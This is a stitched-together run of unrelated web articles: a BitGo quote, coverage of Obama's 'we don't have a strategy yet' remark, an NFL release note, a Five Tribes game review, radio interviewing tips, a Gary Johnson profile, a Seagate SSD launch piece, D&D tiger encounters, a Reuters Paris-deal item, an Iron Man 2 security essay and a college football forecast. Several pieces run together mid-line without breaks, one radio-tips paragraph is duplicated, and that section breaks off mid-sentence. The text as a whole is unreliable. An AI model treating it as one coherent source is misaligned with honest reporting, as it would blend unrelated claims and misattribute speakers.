"We are incredibly excited to now offer the security controls and capabilities of BitGo free to all individual holders of bitcoin," said BitGo CEO Will O'Brien. "BitGo's mission is to secure the world's bitcoin. While historically we have offered advanced wallet services to enterprise customers, we feel it is critical for a growing bitcoin ecosystem that anyone can access the best-in-class security solutions BitGo provides."Image copyright Getty Images
"We don't have a strategy yet."
President Barack Obama spoke a great deal about Syria, Iraq and the Islamic State (IS) in Thursday's press conference, but these six words are dominating the non-beige-suit-related discussion among US politicians and pundits.
The line was part of the president's response to a question about whether he needs Congress's approval to "go into Syria". It seemed a frank admission that the administration is grappling with how to engage its military against rebel forces less than a year after it had all but decided to bomb the Syrian soldiers now fighting them.
There is just absolutely no reason to hand that kind of morale boost and public relations victory to all of your enemies Mollie Hemingway, The Federalist
Frankness, however, is an unusual attribute in the Washington corridors of power.
Mr Obama's line is a textbook example of veteran journalist Michael Kinsley's definition of a political gaffe, which occurs when a politician tells an "obvious truth that he isn't supposed to say".
But is that "obvious truth" that the Islamic State situation is beyond an easy fix or that the president is blundering without a foreign policy vision? (Or both?)
It all depends on perspective.
The president's critics were quick to apply the line to what they see as the administration's lack of a detailed plan for confronting the IS threat throughout the region.
The Federalist's Mollie Hemingway says that the no-strategy phrase "perfectly encapsulates" what's wrong with the president's foreign policy.
I'm just not sure the severity of the problem has sunk in with the administration just yet Mike Rogers, US Congressman
"The problem isn't just the lack of strategy for a situation that should not have caught us by surprise but the decision to be extremely public about being tentative," she writes. "There is just absolutely no reason to hand that kind of morale boost and public relations victory to all of your enemies."
Mr Obama refuses to accept the fact that we're at war, writes the Weekly Standard's William Kristol. Because of this reluctance, he continues, the president's moves in the Middle East are hesitant, defensive and haphazard.
"To organise for war, to articulate a strategy, to commit to victory - all of this would make the Obama presidency a war presidency," Kristol says. "But being a war president doesn't comport with Barack Obama's self-image."
Analysis: Jon Sopel, North America Editor
'We don't have a strategy yet', is one of those things you don't expect presidents to say out loud. But maybe it is a mark of the divisions that exist within the administration over how hawkish to be about Islamic State.
What this statement from the president does show is firstly just how complex the military options are in attacking Islamic State in Syria.
But most importantly it shows the extreme wariness of this president to unilaterally start military action when it's not clear where it will end.
So next week John Kerry will go on from the NATO summit in Wales to the Middle East to build support for US action in Syria.
But maybe the president was also sending a message to European leaders like Prime Minister David Cameron that says don't expect America to do all the heavy lifting on this by itself.
In return, maybe in his statement on raising the UK terror alert, Mr Cameron was signalling back: you won't have to.
But it is also worth just adding this: exactly this time a year ago, Mr Obama was preparing to attack targets of the Assad regime. Twelve months on he's looking to attack President Assad's opponents.
That is a mark of just how complex the politics is - and might explain why the president is still trying to define a strategy
Republican politicians also hurried to respond. With November's midterm elections looming, any foreign policy stumbles by the president could translate into political gain.
"President says 'we don't have a strategy yet' to deal with #ISIS," tweeted Congressman Tom Price. "That's obvious and increasingly unacceptable."
"I'm just not sure the severity of the problem has sunk in with the administration just yet," Congressman Mike Rogers, chair of the House intelligence committee, said on CNN. "It was an odd press conference at the very best."
The Daily Beast's Josh Rogin and Eli Lake say that behind the president's statement is a lack of consensus among the administration's foreign policy team.
Better to be tentative about strategy when there are no easy answers than claiming to have strategy when don't Lawrence Freedman, Professor, King's College
While some officials advocate air strikes against IS inside Syrian territory, others counsel a more cautious approach focusing on Iraq. It was this approach that the president appeared to endorse on Thursday, as he pledged to "roll back" IS gains in Iraq.
"Those inside the administration advocating for going after IS in both Iraq and Syria were sorely disappointed - and lamented their boss's lack of urgency in rooting out a threat that only days before was being described in near-apocalyptic terms," Rogin and Lake write.
As the drumbeat of criticism grew, the administration attempted to push back. White House press secretary Josh Earnest tweeted: "In his remarks today, POTUS was explicit - as he has been in the past - about the comprehensive strategy we'll use to confront the IS threat."
Others defended the president's words, arguing that the US should not commit to military action without carefully considering the consequences.
"Better to be tentative about strategy when there are no easy answers than claiming to have strategy when don't," tweeted King's College war studies Prof Lawrence Freedman.
Image copyright Getty Images Image caption The Atlantic's Peter Beinart says the president is offering the minimalist Middle East strategy that the American public wants
The Atlantic's Peter Beinert says the president does have a strategy in the Middle East - a minimalist approach that limits intervention and focuses on counter-terrorism.
"President Obama's Mideast strategy is not grand," he writes. "It's not inspiring. It's not idealistic. But it's what the American people want and what their government knows how to do."Terrelle Pryor is starting over -- again.
The Chiefs announced on Tuesday that they have released the fifth-year quarterback less than four months after signing with Kansas City.
Pryor is no guarantee to find another job. Completing just 56.3 percent of his throws over 16 appearances in Oakland, the former Ohio State star is a backup project at best. After fizzling out with the Raiders, Seahawks and Chiefs, the shine is off this athletic specimen with questionable arm talent.
With Alex Smith, Chase Daniel, Aaron Murray and Tyler Bray on the roster, the Chiefs have enough middling options under center.
As for landing spots: The 49ers and Colts have just two quarterbacks, but they've already passed on plenty of chances to sign Pryor before.
Sixteen AFC teams. Four Heroes. Three minutes per team. The latest Around The NFL Podcast breaks down the AFC. Find more Around The NFL content on NFL NOW.If there is one thing that gets my board game heart going, it’s a big bag of meeples. I don’t care what shape or what color, hand me a large drawstring bag full of the most iconic image in board gaming and I’m in! Wait wait wait… There is a game with all of that and even more wooden bits? So, little wooden palaces, palm trees, and camels? And it’s published by Days of Wonder?!
Enter Five Tribes.
Overview
Five tribes is a game of controlling the tribes of Naqala in hopes of becoming the the most influential leader of the legendary city. Set in the 1,001 Nights mythos, it is a game filled with the beautiful imagery of the Tales of the Arabian Nights. Djinns, camels, palaces, oasis’, and mystical lands are lathered onto Five Tribes to create memorable and beautiful art that will really stick with you.
In this game each player will be vying for power through influencing all five different colored meeples that each represent one of the five tribes. Each tribe has a special ability that will give you some sort of power when used. In addition, each of the 30 tiles that make up the board also have a special attribute that will be useful in your attempt for power. Some tiles will even grant you the ability to evoke a special djinn that will grant you even more abilities unique to you.
The game plays until there are no legal moves to make or a player has claimed eight different city tiles as his or her own. The player who has gained the most influence by collecting victory points is crowned the Sultan of Naqala and the winner.
How to Set Up Five Tribes
The game’s “board” consists of 30 tiles randomly distributed into a 5×6 grid. Once the tiles are arranged to create the board, three meeples are distributed to each tile at random from the glorious bag ‘o meeples. Nine resource cards are flipped over in a line on one side of the board to create the market and three djinn cards are flipped over to show the available djinns. Each of the remaining tokens (money/victory points, palm trees, and palaces) should be placed in piles next to the board. Once the board is set up, each player receives eight camels and 50 coins.
Gameplay
My favorite part of this game is it’s “Mancala” effect that is the foundation of every move. Similar to Mancala, on your turn you will pick up all the meeples on one tile and trail them off on adjacent tiles until you run out. There are a few small rules that are important when moving these meeples:
You must drop a meeple on an orthogonally adjacent tile. (no diagonal movement)
You may not immediately backtrack to a tile that you just placed a meeple on.
You must place the final meeple on a tile that has at least one meeple of the same color as the one that you are dropping off.
Once all of these rules are satisfied, you will take all of the meeples of that color and take their tribe’s action. In addition, if you have completely cleared a tile of meeples, you will gain control of it by placing one of your camels on it. Once you’ve checked for control, you can (and sometimes must) activate the ability of the tile and then end your turn.
Pretty simple, right? Move some meeples and take some bonus bonus actions!
The Five Tribes
One of the things that makes this game so great, yet challenging, is how each of the tribes (colored meeples) have different abilities. Not only are you trying to maximize the amount of meeples that you can pull from one tile, but you are also trying to maximize the amount of one specific tribe that will benefit you the most. This can be a challenge since there are so many different options available on the board at one time.
Each of the five tribes have a different ability:
The Yellow Viziers simply score you victory points at the end of the game. The White Elders score you victory points at the end of the game and are used as a recourse to gain Djinns and/or evoke their powers. The Green Merchants allow you to draw the number of resources from the front of the resource pile equal to the number of green meeples you pick up. The Blue Builders immediately give you money based on the number of blue tiles surrounding the tile your ending tile multiplied by the number of blue meeples you pick up. The Red Assassins kill one other meeple, either from another player’s pool or from a tile adjacent to the tile where the assassins were picked up. Each additional assassin allows you to extend your reach one tile from the starting point.
Tile Abilities
As I mentioned before, once you pick up your meeples from the final tile that you dropped one off on, you will have the opportunity to take one of a few special abilities. The first two mandatory abilities force you to either place an oasis or village token on the tile. These tokens increase the value of the tile for the player who controls it and can be activated multiple times.
The second set of abilities are all optional. The small and large market give you the opportunity to pay a certain amount of money to gain a certain number of cards from the recourse market. The “Sacred Places” ability allows you to purchase one of the available Djinns by discarding either two white Elder meeples or one Elder and a special card.
All of these abilities will be extremely important in gaining victory points throughout the course of the game.
End of Turn and Clean up
At the end of your turn you are able to sell off resource cards in sets of up to nine. The more cards in a set, the more money you make! There are nine different resource cards, and you can’t include more than one copy of a resource card in a set.
Once your turn is up, play continues to pass to the next player until all players have had a turn. After all players have their turn, the resource market and available djinns are refilled and a new round begins.
Here comes another genius mechanic from Five Tribes: the turn order auction. You can imagine that a game with so many options available would lead to some that are clearly better than others. Since each player knows that if they do not go first, their plans will most likely be broken, the opportunity to go first is a much sought after bonus. Five Tribes introduces an ingenious mind game to solve this problem.
Somewhere near the board will be a player order track. At the end of each round, the players take turns placing their unfortunately shaped towers on the track value that they are willing to pay in hopes to be the first player. This track consists of spaces with costs ranging from 0 to 18. Each player must pay the value that they place their pawn on no matter what, even if the other players choose to pay nothing. This gives some tense moments in the game when someone wants to be first more than anything and must decide if he or she wants to spend a large sum of money to guarantee it, or spend a lesser amount in hopes that no other player will out bid them.
I’ve seen people win by aggressively bidding to get the best opportunities, but i’ve also seen people lose by spending too much money on their turn order bids. The challenging decision of deciding whether or not your move is worth more than the 18 coins it takes to guarantee the first turn makes for such an intense first player selection.
I’m not sure if i’ve ever spent so much time talking about a small mechanic like turn selection, but this system is the icing on the cake to such a well designed game.
Final Thoughts on Five Tribes
Clearly I enjoy this game. Its tough decisions undoubtedly make you think hard each turn, yet the ever changing nature of the board forces you to constantly think on your feet as your turn approaches. Though I love this kind of depth, I know that it is not for everyone. The amount of choices and variety that Five Tribes offers is both its biggest strength and also its biggest weakness. For some players, the sometimes overwhelming amount of choices available will either turn them off or cause them to have substantial analysis paralysis. My general philosophy when playing is to go with my gut instinct in order to keep myself from spending too much time deliberating my move. Still, many players will not see this as an option and may take more time than preferred.
If a good game is made up of lots of challenging decisions (and I believe it is), then Five Tribes hits the nail on the head. Just in a player’s move, they have to find the best tile to pick up from, the best tile ability to land on, and the most optimal color meeple to drop off on that tile. Furthermore, the tense player order auction takes a mechanic that is mundane in most games and allows it to shine as a pivotal game mechanic.
The fact that Five Tribes was published by Days of Wonder gave me confidence in it to know that it would be great, even before I cracked open the box. DoW is a publisher that is known for a few signature qualities in their games. Two of the most prolific signature qualities are their quality of art and components; and their tendency to publish games that are both deep enough for gamers, and yet easy enough for families to pick up. Not only are these two staple parts of their games, but they generally only publish one new title each year. It seems they take the approach of quality over quantity and Five Tribes is no exception.
The first of those two qualities I mentioned is art and components. Five tribes follows suit from past Days of Wonder games with lots of colorful and hefty pieces. There is a huge bag of wooden meeples (oh man….) in addition to the lot of thick wooden camels, palm trees, palaces, and start player pawns. Everything is just as colorful as the majestic world it is set in.
Not only do the bits look great, the art on the tiles and cards are equally attractive. Clement Masson did a fantastic job of displaying the mythos of 1,001 Nights in a way that is both colorful, mystical, and attractive.
The second quality I mentioned is their ability to publish games that are both easy to learn but also deep and challenging to master. Having games that can be pulled out with a mixture of “gamer” and “non-gamer” friends are invaluable in a collection.
This is one aspect where Days of Wonder stretched a little bit. This is certainly on the more complicated side of their line up. Though I don’t think that Five Tribes is an extremely complicated game on its own, compared to other DoW games like Ticket to Ride, but it does lean more towards the complicated side of the spectrum. I don’t think this is a bad thing. In fact, i’m glad that they took the opportunity to publish a game that was a little bit out of their comfort zone. Still, I have taught this game to some less experienced gamers and they still loved it!
Conclusion
Five tribes is a game with endless replayability. It’s a game that feels fresh and new each and every time it is played due to its changing board and meeple placement. It’s a game for people who love lots of wooden bits and interesting decisions. It’s also a game that could easily turn people off due to its sometimes overwhelming number of options available. It’s a game that has a permanent spot in my collection and I recommend it to almost everyone even slightly interested in games.
It’s a game that you should certainly give a shot!
What do you think about Five Tribes? Give us your opinions about what you like and/or dislike about the game in the comments below!Intro from Jay Allison: This was first written back in the 1980s and a version was published in the Whole Earth Review in 1991. I've updated it a bit, but most of the original advice holds up. The part about the mission of public broadcasting mostly holds up too, even in the Age of the Internet.
The Point
The public broadcasting system in America exists to serve the public. Increasingly, we measure the effectiveness of that service by the number of listener-dollars sent to local stations — producers devise programs to sell to the stations; stations carry the programs if listeners respond with contributions.
That’s one way to provide service, but there are other models. If a public station wants to reflect its local community, it makes sense to involve that community in programming. If the national network wants to reflect the diversity of the nation, it helps if the citizens take part. But how can the average person get involved in the creation of programming?
In the case of public radio, this is surprisingly easy to do. The equipment required to get broadcast quality is inexpensive and readily available, and basic recording and interviewing skills are easily mastered. If you are unsatisfied with the way your public radio system portrays life as you know it, consider doing the portraying yourself. What is going on where you live? What are the important stories? Whose voices should be heard? Consider taking on the role of Citizen Storyteller, and working on a grassroots level to make public radio more truly “public.”
The following notes describe techniques for gathering raw material. The editorial process comes next. When your interviews have been made, you can take them to your local station, or send them to the networks and national programs, and if the material has strength, it will (one hopes) be recognized. In the final stage, you would probably work with an editor to create a piece for broadcast.
The Tips
One advantage to working in radio is that you are low-impact. When setting up interviews by phone, remind your interviewees you are not a film/TV crew. It’s just you and a tape recorder — non-intimidating. (They’ll still ask you what channel it’ll be on.)
Become comfortable with your equipment. If you are, everyone else will be. Check, clean and test all your equipment before you go out. Put in fresh batteries. Make test recordings. Be over-prepared. Be a Boy Scout. Have everything set up before you walk in. Sit in the car (or the subway station, or the bushes) to load and label your first tape, prepare your next tapes for fast changes, set your levels, etc.
I usually begin by holding the mic casually, as though it’s unimportant. Sometimes I’ll rest it against my cheek to show it has no evil powers. I might start off with an innocuous question (“Geez, is this as bad as the smog ever gets out here?”), then slowly move the mic, from below, into position at the side of the person’s mouth, but not blocking eye contact.
For Vox Pop, go where people are waiting. If it seems appropriate, walk right up with your sentence about what you’re doing and attach the first question to it. I’ve heard it suggested that the best tape comes from people in funny hats.
Remember eye contact. Don’t let the mic be the focus — occupying the space between you and the person you’re talking to so you have to stare through it. I usually begin by holding the mic casually, as though it’s unimportant. Sometimes I’ll rest it against my cheek to show it has no evil powers. I might start off with an innocuous question (“Geez, is this as bad as the smog ever gets out here?”), then slowly move the mic, from below, into position at the side of the person’s mouth, but not blocking eye contact. You’ll find your own way of being natural with the mic, but it is important.
Don’t be afraid to ask the same thing in different ways until you get an answer you like. Remember you can edit the beginning and ending of two answers together, but be sure to get the ingredients. If a noise interferes with a good bit of tape, try to get it again. You can blame it on the machine, but it might be better just to wrap the conversation back to the same place so you don’t get the quality of someone repeating himself.
For repeat answers or more enthusiasm, try: “What?!” or “You’re kidding!” or “Really??” Remember the question: “Why?” especially following a yes or no response. Don’t forget the preface: “Tell me about…” Let people talk. Allow silence. Don’t always jump in with questions. Often, some truth will follow a silence. Let |
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With 13 percent of the polls already in his favor, Johnson joked Thursday that Ted Cruz's call to "vote your conscience" at the Republican convention was a boon for his candidacy.
"He did say to vote for Gary Johnson, didn't he? And that was 'vote your conscience,'" he told CNN's Chris Cuomo on "New Day." "I certainly would uphold the Constitution."
For conservatives looking for an alternative to Trump -- and, let's face it, Bernie Sanders fans, too-- here are 10 facts about the Libertarian candidate for president.
1. Johnson needs 15 percent support in national polls to make the first primetime debate between Democratic Hillary Clinton and Trump in September. He thinks he will get it.
"I think Donald Trump alienates more than half of the Republicans," he said this week.
2. Johnson served two terms as governor of New Mexico. He was a Republican at the time.
3. This is Johnson's second shot at the White House. During his 2012 campaign, he drew only 1 percent of the national vote as the Libertarian presidential candidate.
4. Johnson could take support from Clinton and Trump in November. Five Thirty Eight writes: "Johnson looks especially likely to peel votes from Clinton and Trump because he will probably achieve ballot access in all 50 states, which is unusual for a non-major-party candidate."
5. International Business Times spent some time with Johnson in June. He didn't know how to use Snapchat, so we showed him.
6. He finished 75 triathlons and once climbed Mount Everest with a healing broken leg.
7. He calls himself "the highest-ranking official in the United States to call for the legalization of marijuana."
8. His political views are, no surprise here, libertarian: He wants to raise the retirement age for Social Security, abolish the I.R.S., and scale down the military. As a reminder, libertarian means you support smaller government when it comes to both the economy and policing social issues.
"I was the Republican governor of a very Democratic state. I succeeded because I brought a brand of fiscal conservativism, together with respect for people with different lifestyles," he wrote for Politico this week.
9. His running mate is former Massachusetts Gov. Bill Weld. Weld the loves Grateful Dead, was a popular lawmaker in his state and once tried to remove anti-abortion language from the 1996 Republican National Convention when he was a member of the GOP, according to the New Yorker.
10. Do you like that Trump is a rich businessman? Well, so is Johnson, albeit on a much smaller scale. In 1999, he sold for $10 million a 1,000-employee construction firm he started his junior year of college.Seagate was born many decades ago as a pioneer in hard disk drives, which are now generating $10 billion a year in revenue for the company. But now it is launching its own line of flash memory-based storage devices that mark a strategic shift for the company and the storage industry. Seagate first announced its move into flash, or solid-state drives (SSDs), in 2009. It has played in the enterprise flash market for a while, but now it is expanding into client-side SSDs.
Today, Seagate is unveiling its complete consumer-to-enterprise solid-state drive lineup that will be sold along with Cupertino, Calif.-based company’s hard disks and hybrid hard drives, or storage devices that combine both speedy flash memory chips and high-capacity hard disks. For consumers, this means that laptops should boot four times faster and applications should load twice as fast compared to a normal hard drive.
Gary Gentry, the senior vice president and general manager of Seagate’s solid state drive business, said in an interview with VentureBeat that Seagate is expanding its presence in the enterprise SSD market, which is about $8 billion in annual sales. The hard drive market is expected to be about $32.7 billion in 2013, down about 11.8 percent from $37.1 billion last year, according to market researcher IHS iSuppli. One of the reasons for that change is that SSDs are taking market share from hard drives. Hard drives have a cost advantage over SSDs, especially at higher storage densities. But SSDs are more power efficient and faster in some data center applications.
Seagate’s new lineup includes four major product lines: the Seagate 600 SSD, the Seagate 600 Pro SSD, the Seagate 1200 SSD, and a PCIe accelerator card, dubbed the Seagate X8 Accelerator powered by Virident. The latter product means that Seagate is going into battle with Fusion-io, which is a leader in the accelerator card market. Seagate made an investment in Virident in January, and the new card is a collaborative effort between the two companies. Seagate is also fighting head-to-head with Fujitsu in the enterprise market.
The client-side Seagate 600 SSD has 6 gigabit-per-second performance and faster boot-up times than hard drives. The results means you won’t wait as long to access your programs and retrieve your data.
“SSDs continue to be among the most popular product categories on Newegg.com as more consumers increasingly turn to them to deliver more speed, faster boot-up times, and superior performance,” said Patrick Chung, the vice president of global product management at Newegg. “Seagate’s new line of SSDs, including the new 600 SSD, will be a great addition to our existing assortment. We’re excited to introduce the new SSDs to our customers and look forward to continuing our strategic partnership with Seagate.”
Tiger Direct, Rorke Data, and others will be selling the Seagate SSDs. The SSDs use about 2.8 watts while operating, dramatically reducing energy used compared to a hard drive. If the device loses power suddenly, it won’t lose the data. Seagate is pitching the products for both consumers and enterprises.I must be sounding like a broken record. Everything I’m working on these days involves wilderness and wild animals. Today is no exception. Here are some thoughts on how to handle animal encounters:
Rangers and Druids are underserved in D&D. Consider the core exprience of these classes. They hunt and track. They manipulate weather. The beasts see them as equals, if not masters. They are uniquely attuned to nature. Out in the woods, they shine. At least that’s how it’s supposed to be.
Think about your own games. Have you played a Ranger? Did you ever GM a group with a Druid? Were there any moments in-game that delivered that experience?
Without at least a few defining moments, the Druid just turns into a Storm Cleric and the Ranger is just a lightly armored Fighter. We can do better. It just takes a litle fore-thought.
Let’s say a party of PCs is trudging through a jungle. The GM rolls a random encounter. A tiger. It’ll pose a decent fight if you just have it pounce the party, but we have a chance to make this encounter more meaningful. Lets think about what the tiger gets up to in a day. What could the tiger be up to when the party finds it?
Prowling – The beast is hungry. It has been stalking small prey. It will creep around, hidden, following and watching any adventurers that happen by. It is not desperate enough for a full on attack. It may pick off badly wounded PCs or animal companions if there is a chance for easy escape.
Eating – The beast has slain a pig. The pig is too heavy to move, so the tiger is eating what it can. It will defend its kill, but only from weak animals. It will run if it sees a proper threat.
Sleeping – The beast dozes overhead on a low branch. As PCs approach, it will wake, but remain motionless. The beast’s natural camoflage make it difficult to spot. The tiger would rather get back to sleeping, so it simply waits for intruders to wander off. If startled it will try to flee, or scare off aggressors.
Panicked – The beast is mad with starvation or fear. Something is happening in the wilderness to drive the creature to reckless violence. The creature attacks without regard for self-preservation.
So there we have four different tiger encounters. They all seem pretty plausible as far as real-life tigers go. Note that in most of the examples, the tiger is not immediately hostile. Animals (and PCs) tend not to survive long if they attack everything indiscriminately. If a ranger or a druid were to encounter this tiger in one of these manners, they could use their skills or spells to interact with the tiger, possibly learning from it, or befriending it. No matter the outcome, the PC has a chance to shine.
So how do we pick the version of tiger that the PCs bump into? We could roll randomly, but we can do better. Let the PC with the highest Survival skill check roll. If they roll high, let them pick which tiger they encounter. If they roll low, go ahead and roll randomly.UNITED NATIONS (Reuters) - Syria has formally jointed the 2015 Paris deal aimed at slowing climate change, the United Nations said on Tuesday, leaving the United States as the only country opposed to the pact.
Syria, racked by civil war, and Nicaragua were the only two nations outside the 195-nation pact when it was agreed in 2015. Nicaragua’s left-wing government, which originally denounced the plan as too weak, signed up last month.
Syria announced last week that it intended to join.
U.N. spokesman Stephane Dujarric told reporters in New York that Syria had submitted instruments of accession to the Paris climate deal and that the move would enter into force for the country on Dec. 13.
U.S. President Donald Trump, who has expressed doubts that man-made greenhouse gas emissions are the prime cause of global warming, announced in June that he intended to pull out and instead promote U.S. coal and oil industries.
Overall, the Paris agreement seeks to limit a rise in temperatures to “well below” two degrees Celsius (3.6 Fahrenheit) above pre-industrial times, ideally 1.5.
The U.N.’s weather agency said on Monday that this year is on track to be the second or third warmest since records began in the 19th century, behind a record-breaking 2016, and about 1.1 Celsius (2F) above pre-industrial times.The summer blockbuster season officially kicked off last Friday with Iron Man 2, an action-packed superhero flick that had the fifth-highest-grossing opening weekend in Hollywood's history. Whether you like the movie or not, at least one thing about it rings true -- the plot and the characters provide a striking reflection of today's tech security industry.
Spoiler alert: We do discuss major plot points in this article. If you haven't seen the movie, keep reading at your own risk.
Marvel's metallic superhero was first portrayed on the silver screen by Robert Downey Jr. in 2008's Iron Man. In that film, playboy industrialist Tony Stark has a crisis of conscience and brings the manufacture of weapons at his defense company to a halt. To chase down terrorists who have misappropriated his munitions, Stark builds himself an armored, weaponized exoskeleton suit (that can fly!) and becomes Iron Man, making his invention an object of desire to military profiteers.
The sequel is much the same, with more villains, more conniving and more suits. A montage catches us up on what's happened since the previous movie: With no country's military able to match Iron Man's technological superiority, Stark's vigilante action and deterrent policy have brought about a worldwide détente.
Since Stark is the only person who knows what makes Iron Man tick, the world's security rests entirely in his hands. Not surprisingly, the U.S. government wants to reproduce the Iron Man suit for its own militaristic purposes; the debate over private vs. public security forms one of the movie's core conflicts.
Meet the villains: Hacker, security vendor
The scarier of Iron Man 2's two major villains, Ivan Vanko (Mickey Rourke) vows on his father's deathbed to kill Tony Stark for the sins of Tony's father, Howard Stark, who didn't share credit with the elder Vanko for inventing the "arc reactor" power generator. In many ways, Ivan Vanko is Tony Stark's evil twin: a brilliant engineer able to craft the most wondrous of devices from the most rudimentary of materials.
Described as a physicist, Vanko also demonstrates a mastery of computer programming, mechanical engineering and martial arts. His creativity under captivity closely parallels that of Tony Stark's in the first film, though their motivations and values set the two apart.
From an IT security perspective, it's easy see the Russian Vanko as a symbol of today's cybercriminals, many of whom are former Soviet computer code writers who now write malware for criminal organizationsfor fast cash. Vanko's motives are different from those of the typical cyber bad guy, but the comparison is hard to resist.
Vanko's partner in crime is Justin Hammer (Sam Rockwell), who, in contrast, shows no aptitude for even basic technology. A rival defense contractor whose products are notoriously unreliable, Hammer will do anything to run Stark Industries into bankruptcy. His petulant, demanding conduct is a caricature of spoiled billionaire behavior, making us wonder how he ever built Hammer Industries.
His social awkwardness also fits the negative stereotype of geeks: In a scene where he takes the stage at an expo, dancing awkwardly and using strangled metaphors, we couldn't help but imagine him bounding across the theater shouting, "Developers! Developers! Developers!"
Hammer's overconfidence is symbolic of the security vendor community. To be fair, many vendors do develop technologies that have made a huge difference in the security fight. But many more have been slammed by security practitioners for claiming that their technologies solve all of a company's defensive challenges. It's fun to watch Hammer show off his cigar-sized Ex-Wife Missile, which turns out to be a dud later in the film, and think of antivirus vendors whose signature updates can't keep up with fast-evolving malware.
Cutting-edge IT
Balancing the appearance of two new villains is a partner for Iron Man. The trailers have made no secret of this film's debut of War Machine: U.S. Air Force Lt. Colonel James Rhodes (Don Cheadle) in a suit comparable to Iron Man's.
Even though Stark insists, "I am the armor," he must have anticipated Rhodes' new role, as the War Machine suit comes equipped with its own power source. (Stark's suit, on the other hand, is powered by the arc reactor that Stark inserts into his own chest to keep his damaged heart working, indirectly making Stark the power source for his own armor.) And when Rhodes first appears as War Machine, he seems at ease with the suit's functions and interface, suggesting that this isn't his virgin flight.
Rounding out the cast is Gwyneth Paltrow as the frazzled Pepper Potts, personal-assistant-turned-CEO of Stark Industries, and Scarlett Johansson as Potts' replacement, the versatile Natalie Rushman. More than just eye candy, Johansson pulls jaw-dropping moves in Iron Man 2 that will come as a surprise to anyone who still thinks of her as the rather mousy Charlotte from 2003's Lost in Translation.
From the get-go, Stark is a man with cutting-edge IT, even when he's not playing superhero. At the Senate Armed Services Committee's Weaponized Suit Defense Program hearings, Stark whips out an impressive see-through smartphone-like device and in a matter of seconds hacks into the room's digital display screen, to which he then wirelessly streams his own video.
The digital interfaces with which Stark's laboratory was equipped in the first film have evolved even more fantastic capabilities. Instead of projecting a 3D interface above a Microsoft Surface-like display, Stark's computers now project into and accept input from the entire room, much like Star Trek's holo-emitters. With gesture-based commands, Stark can expand and collapse images on all three axes or even toss files into the trash as easily as an NBA star makes a hook shot.
Jarvis, the voice-recognition-equipped AI assistant, has been excised from Iron Man's suit and is restricted to the laboratory, where he performs three-dimensional scans of physical objects to produce wireframe digital representations, much as Microsoft's Project Natal promises to do.
Iron Man 2 isn't the first film to portray futuristic technology in today's world, but with the possible exception of the suit itself (and perhaps the particle accelerator Stark builds in his basement), there is little in Stark's repertoire that defies credulity. The movie takes existing concepts and extends them along their logical evolution, while offering some subtle commentary on the IT celebrities who may someday bring this technology to life.
Art reflects reality
One of the more interesting threads of the Stark story is his personal growth. When he appears before the Senate committee early in the movie, he mocks the proceedings throughout. Not only does he hack the video feed, he also refuses to share his technology with the government.
Stark tells the senators "you're welcome" because he has "privatized world peace" and insists that no one else in the world is anywhere close to duplicating his technology. Of course, he's proven wrong in short order, and as the film progresses he comes to realize he can't act alone.
This is an ongoing theme in the security industry. White House Cybersecurity Coordinator Howard Schmidt constantly pushes the view that public-private partnerships are essential if we're to have any chance at achieving meaningful security.
Schmidt says the information security community is right to be spooked by massive, coordinated attacks that targeted Google and other large corporations in December 2009, and he believes the best defense against this sort of thing remains in the hands of the private sector -- with help from the government.
"You guys have been carrying the water," Schmidt told attendees at CSO Perspectives 2010 in April. The government can do a lot to improve the nation's cyberdefenses, he said, but ultimately, the key to warding off attacks like the one Google experienced remains private-sector vigilance. That doesn't mean the private sector can go it alone, which is why Schmidt's cybersecurity coordinator position was created last year.
Looking at this in reverse, the private sector needs to help save government from itself much of the time. Government agencies still make plenty of mistakes in their own IT security, just as the military in Iron Man 2 made a mess of things by doing business with a hack (pun intended) like Hammer.
Now, we're not suggesting that the producers of Iron Man 2 set out to make a mockumentary about the security industry as it exists today. But for anyone in the security business watching the film, it's impossible to avoid the comparisons.
On the positive side, if these comparisons are to be taken literally, the movie suggests that there's hope for the security industry. Stark learns that he can't act alone and must treat the government as more of a partner -- or at least there's a suggestion of this newfound attitude. And the message of the Hammer story line is that if you push junky security technology on the buyer, you will pay the price.
Ken Gagne is Computerworld's associate editor of community content. In his free time, he writes film reviews forShowbits. Follow Ken on Twitter at Twitter@IDGagne.
Bill Brenner is senior editor of CSOonline and CSO Magazine. He has covered the security industry for more than half a decade. He can be reached at bbrenner@cxo.com.
Read more about Security in Computerworld's Security Knowledge Center.John Raoux/Associated Press
The College Football Playoff Committee has spoken for the first time this season, and No. 1 Georgia (8-0), No. 2 Alabama (8-0), No. 3 Notre Dame (7-1) and No. 4 Clemson (7-1) are the four teams sitting atop the rankings in this season's initial release.
But college football fans know that the initial rankings may be good for talk shows, debates and projections, but they may not have anything to do with the four teams that will be left standing at the end of the season and have a chance to win the sport's national championship.
Alabama head coach Nick Saban decried the rankings in a press conference even before they came out because he does not want anything distracting the Crimson Tide from the job at hand. This week Alabama plays LSU, and while there's always a chance Saban's team could lose a game, the Crimson Tide appear to be head and shoulders above the Tigers.
Brynn Anderson/Associated Press/Associated Press
Here's how we see the Final Four playing out at the end of the season (current rankings in parentheses).
1. Alabama (2)
2. Ohio State (6)
3. Clemson (4)
4. Notre Dame (3)
Alabama is pretty much a given. While there are four undefeated teams among the Power Five conferences right now (apologies to UCF), the only one standing at the end of the season will be Alabama. Georgia has had a wonderful year to this point and is on a collision course with Alabama in the SEC Championship Game.
However, the Bulldogs may not get to that game as an undefeated team because they could be vulnerable against South Carolina this Saturday or in a road game at Auburn the following week. Even if they can make it through the regular season unblemished, we expect Alabama to punish the Dawgs in the SEC title game. If Georgia loses that game by more than two touchdowns, it won't belong in the Final Four.
Miami (7-0) is undefeated going into Saturday's showdown with a very strong Virginia Tech team. If the Hurricanes survive that game, they face Notre Dame the following week, and we can't see them winning that game.
A closer look at Miami's schedule reveals it gave up 30 points to Toledo, barely beat Florida State, edged Georgia Tech by a point and had to fight to the end to get past Syracuse and North Carolina. This is not a championship-caliber team, and it will play out that way over the next few weeks.
Wisconsin (8-0) has had an easy run of it to this point and will likely remain undefeated until the Big Ten Championship Game.
The Badgers are lucky to reside in the Big Ten's West Division. The toughest regular-season game is a Nov. 18 matchup at home with Michigan, and the Wolverines have played beneath expectations this season. For rankings purposes, the Badgers would be much better off playing a more challenging schedule.
Projecting ahead, the Badgers will likely face Ohio State (7-1) in the Big Ten title game. Ohio State has had a tough schedule, and games against Oklahoma and Penn State have steeled head coach Urban Meyer's team, which still has meetings with Michigan State and Michigan.
We expect the Buckeyes, who lost early in the year to the Sooners, to keep on improving and thoroughly take apart the Badgers in the Big Ten title game.
